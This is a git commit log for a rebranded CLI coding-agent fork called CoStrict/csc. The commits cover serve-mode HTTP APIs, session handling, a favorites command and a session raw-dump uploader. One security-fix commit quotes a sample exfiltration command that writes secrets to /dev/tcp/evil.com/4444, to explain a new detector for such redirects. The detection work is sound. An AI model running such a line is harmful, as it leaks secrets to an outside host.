DoSun
02161dd2a6
fix: pass dynamic provider_id from initData instead of hardcoding
...
- Add _providerId field to SessionHandle, extracted from initData.account.apiProvider
- Include provider_id in user message emit, assistant message fallback, and session.ready
- Revert getProviderId normalization (keep raw value from subprocess)
2026-05-08 18:59:00 +08:00
DoSun
e258f58fd7
fix: normalize provider ID to anthropic (was firstParty causing model validation mismatch)
...
The subprocess returns apiProvider='firstParty' for direct Anthropic access,
but the adapter hardcodes providerID='anthropic' in SSE events. This mismatch
causes the frontend's isModelValid check to fail, clearing the model selector.
2026-05-08 18:42:51 +08:00
DoSun
880782b1dd
fix: remove debug logs, add model fallback, fix prompt_async flow
...
- Remove process.stderr.write debug logs from sessionHandle and prompt_async
- Add model fallback in assistant message (use this._model if msg.model missing)
- Add model field to user message emit for adapter consumption
- Wait for session ready before setModel/prompt in prompt_async
- Return 200 JSON instead of 204 No Content from prompt_async
- Set Bun.serve idleTimeout to 255s to prevent connection drops
2026-05-08 18:42:51 +08:00
DoSun
d7a65170cd
Merge pull request #48 from y574444354/feat/favorite-migrate
...
Feat/favorite migrate
2026-05-08 18:42:01 +08:00
林凯90331
9a2469f8a8
Merge remote-tracking branch 'origin/feat/server-refactor' into feat/favorite-migrate
2026-05-08 18:34:37 +08:00
DoSun
8261385cbb
Merge pull request #49 from Askhz/feat/server-add-session
...
Feat/server add session
2026-05-08 18:34:17 +08:00
林凯90331
41dbd44b4e
feat(hub): migrate favorite command with auto-enable, real-time toggle and server refactor
...
- Migrate favorite command from opencode to csc with /hub command
- Rename /favorite → /cloud-enabled → /knowledge-hub → /hub
- Auto-enable cloud favorites on startup without manual Update button
- Toggle items immediately on check/uncheck without Update button
- Add favorite REST routes and kh alias (later removed)
- Fix UDS socket path length exceeding macOS sockaddr_un.sun_path limit
- Add AbortController timeout to CoStrict fetch to prevent startup blocking
- Fix build robustness (handle missing download-ripgrep script)
- Merge server refactor: Hono-based HTTP API, session management, transcript reader
- Add serve API docs, server module unit tests, and cloud command handler
Signed-off-by: 林凯90331 <90331@sangfor.com>
Co-authored-by: CoStrict <zgsm@sangfor.com.cn>
2026-05-08 18:18:44 +08:00
Askhz
231c76df84
fix: 完善 serve 模式 session 列表接口
...
- GET /session/:id 支持从磁盘历史记录 fallback,修复历史 session 404
- 过滤无意义的管理命令会话(/exit、/model、/login 等)
- 保留 /crewpilot:plan 等有意义的斜杠命令触发的会话
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-08 18:12:22 +08:00
Askhz
a62989e245
Merge branch 'feat/server-refactor' into feat/server-add-session
2026-05-08 17:38:11 +08:00
Askhz
084d3fa468
feat: serve 模式 GET /session 接口从磁盘读取历史会话列表
...
- GET /session:调用 listSessionsImpl 扫描 ~/.claude/projects/ 历史 transcript,
合并内存中活跃 handle 的运行时状态,支持 ?dir= 过滤
- GET /session/status:补充磁盘历史 session(全部标为 idle),不再返回空对象
- POST /session/:id/command_async、revert、summarize:补充缺失接口
- Bun.serve 设置 idleTimeout: 0,修复 SSE 长连接被 10s 超时切断的问题
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-08 17:32:04 +08:00
DoSun
ca147a40b7
fix: 修复 serve 模式 SSE 事件流、权限响应、协议对齐
...
- 修复 emitEvent 无限递归(调用自身→调用 eventBus.publishSessionEvent)
- 修复 prompt() 用户消息缺失 uuid/content 字段
- session.ready 事件映射为 session.updated(非重复 session.created)
- 新增用户消息事件(message.updated role:user + message.part.updated)
- 新增 session.status busy/idle、step-start/step-finish、session.idle/diff
- 清理 heartbeat properties 为空对象
- 仅 assistant 类型消息作为 session.message 转发,过滤 system/其他杂消息
- 权限响应映射 once/always/reject → allow/deny
- 会话创建支持 permission ruleset 推导 permission mode
- prompt 路由支持 model 字段切换模型
- 初始化消息支持 hooks 配置
- 新增 HookCallback/ControlCancelRequest 处理
- 权限响应支持 updatedPermissions 和 interrupt
- 新增 --resume-session-at、--permission-prompt-tool stdio 参数
- 追踪 lastMessageUuid 用于消息级回退
- EventBus dead client 清理
2026-05-08 16:59:45 +08:00
林凯90331
dacbf1f7ab
feat: migrate favorite command from opencode to csc
...
- Add /favorite REPL slash command with list/view/download/load/unload/uninstall
- Implement core favorite logic in src/costrict/favorite/ using createCoStrictFetch
- Extend GlobalConfig with agents and commands fields for config-layer storage
- Adapt skill load/unload to csc's directory-scanning mechanism (~/.claude/skills/)
- Adapt MCP load/unload to csc's mcpServers config via saveGlobalConfig()
- Decouple from opencode-specific deps: jsonc-parser, Config.invalidate, Filesystem.*
Signed-off-by: 林凯90331 <90331@sangfor.com>
Co-authored-by: CoStrict <zgsm@sangfor.com.cn>
2026-05-08 08:20:57 +08:00
linkai0924
7363519887
Merge pull request #45 from y574444354/feat/report-raw-dump
...
feat(rawDump): add session data raw-dump reporting module
2026-05-07 22:16:02 +08:00
林凯90331
f3ece2f469
refactor(rawDump): prevent 429 with queue + batch worker
...
Replace per-turn detached workers with a file-backed queue consumed by
a single long-running batch worker (30s interval, 0-10s jitter).
- queue.ts, batchWorker.ts: file queue with pid-based lock for worker
singleton; tasks deduped by sessionID:messageID before processing
- worker.ts: retry with backoff (5s, 10s) for 429 and network errors;
update commit state per upload so partial failures resume cleanly;
export auth, loadSessionMessages, getSessionDirectory and upload*
helpers for batchWorker reuse
- git.ts: cap commit log at 50 entries within last 7 days; pause 500ms
every 10 commits to spread load
- worker.ts: resolve session jsonl via ~/.claude/projects/{normalized}
with fallbacks, scanning for the file containing the target session
- logger.ts: file + stderr logger gated by CSC_RAW_DUMP_DEBUG, default
silent
- sessionDataUploader.ts: implement createSessionTurnUploader to pick
the last assistant message; query.ts fires uploadSessionTurn after
query_api_streaming_end (non-blocking)
Signed-off-by: 林凯90331 <90331@sangfor.com>
Co-authored-by: CoStrict <zgsm@sangfor.com.cn>
2026-05-07 21:45:20 +08:00
DoSun
33ad9cd568
fix: prompt 路由支持 parts 格式请求体
...
消费端发送 parts 数组格式([{type:'text', text:'...'}]),
csc 同时支持 content 字符串和 parts 数组两种格式
2026-05-07 20:29:49 +08:00
DoSun
d5cfe0aff0
fix: 修复 serve 模式模型接口返回空数据
...
多层问题修复:
- setup.ts: CoStrict 模型预取从 fire-and-forget 改为 await,确保缓存就绪
- sessionHandle.ts: 修复子进程 spawn 参数丢失 -d/--feature 的问题,
修复 models 数组被当 Record 处理的类型错误,始终传 --verbose
- sessionManager.ts: 新增 probe session 预热机制和 initData 缓存,
provider 路由不再依赖活跃 session
- provider.ts: 输出格式匹配消费端 ProviderCapabilitiesResponse 类型,
models 从数组转为 Record<string, ModelInfo>
- session.ts: 修复 scriptArgs 计算逻辑,避免传入 serve 子命令
2026-05-07 20:08:27 +08:00
DoSun
954c218085
fix: 修复 serve 模式 GET /agent 接口,直接从内置 agent 列表加载数据
2026-05-07 18:00:52 +08:00
林凯90331
28d4f1f4e5
feat(rawDump): add session data raw-dump reporting module
...
Introduce a framework-decoupled raw-dump module that uploads conversation, summary, and commits data to the CoStrict server in a non-blocking detached worker process.
- Add src/services/rawDump/ with index, types, state, spawn, git, worker, and README
- Implement reportTurn and reportSession entry points with in-memory dedup and env-based disable switch (CSC_DISABLE_RAW_DUMP / COSTRICT_DISABLE_RAW_DUMP)
- Replace sessionDataUploader stub with uploadSessionTurn that delegates to reportTurn
Signed-off-by: 林凯90331 <90331@sangfor.com>
Co-authored-by: CoStrict <zgsm@sangfor.com.cn>
2026-05-07 17:27:56 +08:00
DoSun
de144bc0cb
fix: 修复 Windows 下 dev serve 模式 Ctrl+C 无法关闭的问题
2026-05-07 16:36:35 +08:00
DoSun
9a8faf1481
feat: 添加 cloud 命令(cs-cloud 二进制下载与命令转发)
2026-05-07 10:44:43 +08:00
DoSun
ae6366c504
docs: 添加 serve API 文档
2026-05-06 14:35:38 +08:00
DoSun
c55bd43f2e
test: 添加 server 模块单元测试
2026-05-06 14:32:55 +08:00
DoSun
7814a6f50a
feat: 添加 serve 命令别名并重构 server 启动逻辑
2026-05-06 14:32:18 +08:00
DoSun
5058953a30
feat: 实现基于 Hono 的 HTTP API 服务器(serve 模式)
2026-05-06 14:32:04 +08:00
DoSun
7b8bc9f314
refactor: 重构构建流程,新增 DIRECT_CONNECT feature 并添加 Node.js polyfill
2026-05-06 14:31:50 +08:00
DoSun
81d9555344
chore: 添加 hono 依赖并精简 lockfile
2026-05-06 14:31:38 +08:00
y574444354
ea410c861c
docs: update contributors
2026-05-04 03:28:42 +00:00
y574444354
3f84d157e5
docs: 更新 CHANGELOG.md,添加 4.0.13 版本变更记录
2026-04-29 18:43:34 +08:00
y574444354
6ea7bdf61d
chore: release 4.0.13
...
- package.json: 版本号从 4.0.13-beta.0 更新为 4.0.13
- scripts/defines.ts: MACRO.VERSION 同步更新为 4.0.13
2026-04-29 18:33:57 +08:00
geroge
f2dbc64f70
Merge pull request #42 from Askhz/fix/login-costrict-model
...
fix: 修复 sideQuery/模型选择在 CoStrict 和 OpenAI provider 下的问题
2026-04-29 18:27:28 +08:00
Askhz
307b025dea
chore: 统一所有 provider 的 User-Agent 为 csc/${VERSION}
...
- getUserAgent() 简化为 csc/${VERSION},去除 USER_TYPE/entrypoint 等附加信息
- OpenAI/Grok client 通过 defaultHeaders 覆盖 SDK 自带的 User-Agent
- CoStrict 主查询和 sideQuery 的 OpenAI client 同步添加 defaultHeaders
- CoStrict fetch 的 X-Costrict-Version 同步更新为 csc/${VERSION} 格式
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 18:23:57 +08:00
Askhz
2f7fc7959d
fix: 修复 sideQuery/模型选择在 CoStrict 和 OpenAI provider 下的问题
...
- sideQuery:新增 openai/costrict provider 分支,分别走各自的 base_url
而非 Anthropic API;提取 sideQueryOpenAICompat 共用转换逻辑;
CoStrict 分支统一使用主循环模型(getMainLoopModel)
- ConsoleOAuthFlow:CoStrict 登录选模型后同步写入 settings.json
- /model 命令:CoStrict provider 下模型切换持久化到 settings.json;
支持 costrict-login 触发登录并重载模型列表;未登录时提示先 /login
- modelOptions:CoStrict provider 展示服务器动态模型列表;
仅对 Anthropic 兼容 provider 注入自定义模型到选项列表
- configs:补充 CoStrict 的 claude-opus-4-7 模型配置
- cli:默认禁用非必要 Anthropic 流量(CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1)
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 18:02:53 +08:00
y574444354
5864d1a9a7
fix: 构建时替换 feature flags,修复 CoStrict provider 递归解析,默认启用 BUDDY
...
- build.ts: 构建产物中手动替换 feature('FLAG_NAME') 为 true/false,
使构建后的产物正确响应 feature flag,不再依赖运行时环境变量。
- src/utils/model/model.ts: 修复 CoStrict provider 下 getDefaultSonnetModel
和 getDefaultHaikuModel 的递归调用问题,返回具体模型名。
- src/buddy/useBuddyNotification.tsx: 移除 BUDDY 功能的日期限制,默认启用。
2026-04-29 14:42:31 +08:00
geroge
9191df6949
Merge pull request #41 from Askhz/fix/rg-install
...
fix: ripgrep 安装支持内网私服兜底 & 修复终端进程名为 csc
2026-04-29 14:33:38 +08:00
Askhz
3e5bb0e799
fix: ripgrep 安装支持内网私服兜底 & 修复终端标题为 csc
...
- postinstall.cjs: GitHub/ghproxy 均失败时降级到内网私服下载
(shenma.sangfor.com.cn/costrict-cli/pkg/ripgrep)
- main.tsx: 将 process.title 从 "claude" 改为 "csc"
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-29 11:50:39 +08:00
y574444354
766f9741ce
chore: rebrand to CoStrict/csc for 4.0.13-beta.0
2026-04-29 10:34:29 +08:00
y574444354
8f9e7d5067
merge: sync upstream/main while preserving local brand/config
...
- 保留本地 package.json(@costrict/csc, v4.0.12)、CLAUDE.md、README、contributors.svg
- 采用上游代码更新:19 commits including bug fixes, security improvements
- 删除 upstream 废弃文件:automation.js, automation.test.js, health-check.ts
2026-04-29 09:06:20 +08:00
claude-code-best
a2cfaf9111
fix: 修复 RemoteTriggerTool 和 autonomy 测试的全量运行失败
...
RemoteTriggerTool 测试补充了缺失的 mock(log/debug/oauth/growthbook/policyLimits/bun:bundle),
用内存数组替代文件系统写入审计记录,避免路径冲突。autonomy handler 函数增加可选 rootDir 参数,
测试显式传递 rootDir 避免依赖全局 getProjectRoot() 导致并发测试状态污染。
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 22:29:36 +08:00
claude-code-best
9e365f1ffa
chore: 1.10.10
2026-04-28 21:27:47 +08:00
claude-code-best
51b8ad46bf
refactor: 移除消息流中的 diff 渲染,仅保留权限审批页的 diff
...
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 21:23:38 +08:00
claude-code-best
2bad8df5d7
test: 添加 subagent 僵死场景相关测试用例
...
覆盖 subagent 生命周期关键模块的零覆盖函数:
- messageQueueManager: 扩展队列操作测试(enqueue/dequeue/优先级排序)
- queueProcessor: 测试 subagent 通知过滤和批量处理
- LocalAgentTask: 测试状态转换、通知防重、进度追踪
- task/framework: 测试 updateTaskState、registerTask、evictTerminalTask
共 66 个测试用例,135 个断言,全部通过。
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 15:36:54 +08:00
claude-code-best
327658979a
fix: 添加 /dev/tcp /dev/udp 网络伪设备重定向安全检测
...
Bash 支持 /dev/tcp/host/port 和 /dev/udp/host/port 伪设备路径,
攻击者可通过重定向实现网络数据泄露而无需任何网络工具:
echo "secrets" > /dev/tcp/evil.com/4444
新增 validateNetworkDeviceRedirect 安全验证器,在 bashSecurity.ts
的同步和异步验证器列表中均注册。同时补全了反斜杠转义和复合命令
安全场景的测试覆盖(42 个测试用例)。
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 14:58:34 +08:00
claude-code-best
7e61e71c54
fix: 尝试禁用 UDS_INBOX 修复 nodejs 进入失败问题
2026-04-28 14:32:23 +08:00
yhangf
22c770d792
docs: update contributors
2026-04-28 06:28:49 +00:00
yhangf
5fdc738036
Merge branch 'main' of https://github.com/y574444354/csc
2026-04-28 14:28:31 +08:00
yhangf
6fe647c10d
chore(cli): rebrand CLI from Claude to CoStrict with restructured help output
2026-04-28 14:28:21 +08:00
geroge
faa531f88b
Merge pull request #40 from Askhz/fix/login-tips
...
fix: 修复登录后"Not logged in"提示
2026-04-28 14:26:40 +08:00
Askhz
03bb5aaf01
fix: 将 costrict 加入 is3P 判断,消除登录后"Not logged in"提示
...
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-28 09:57:59 +08:00
claude-code-best
b8b48bf7ed
fix: 修复 truncate 函数接收到 undefined/null 时崩溃的问题
...
BackgroundTask 组件渲染时传入的 task 属性(description、title、command 等)
可能为 undefined,导致 str.indexOf('\n') 抛出 TypeError。
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 09:15:58 +08:00
claude-code-best
de9dbcdcbb
chore: 1.10.8
2026-04-28 08:50:23 +08:00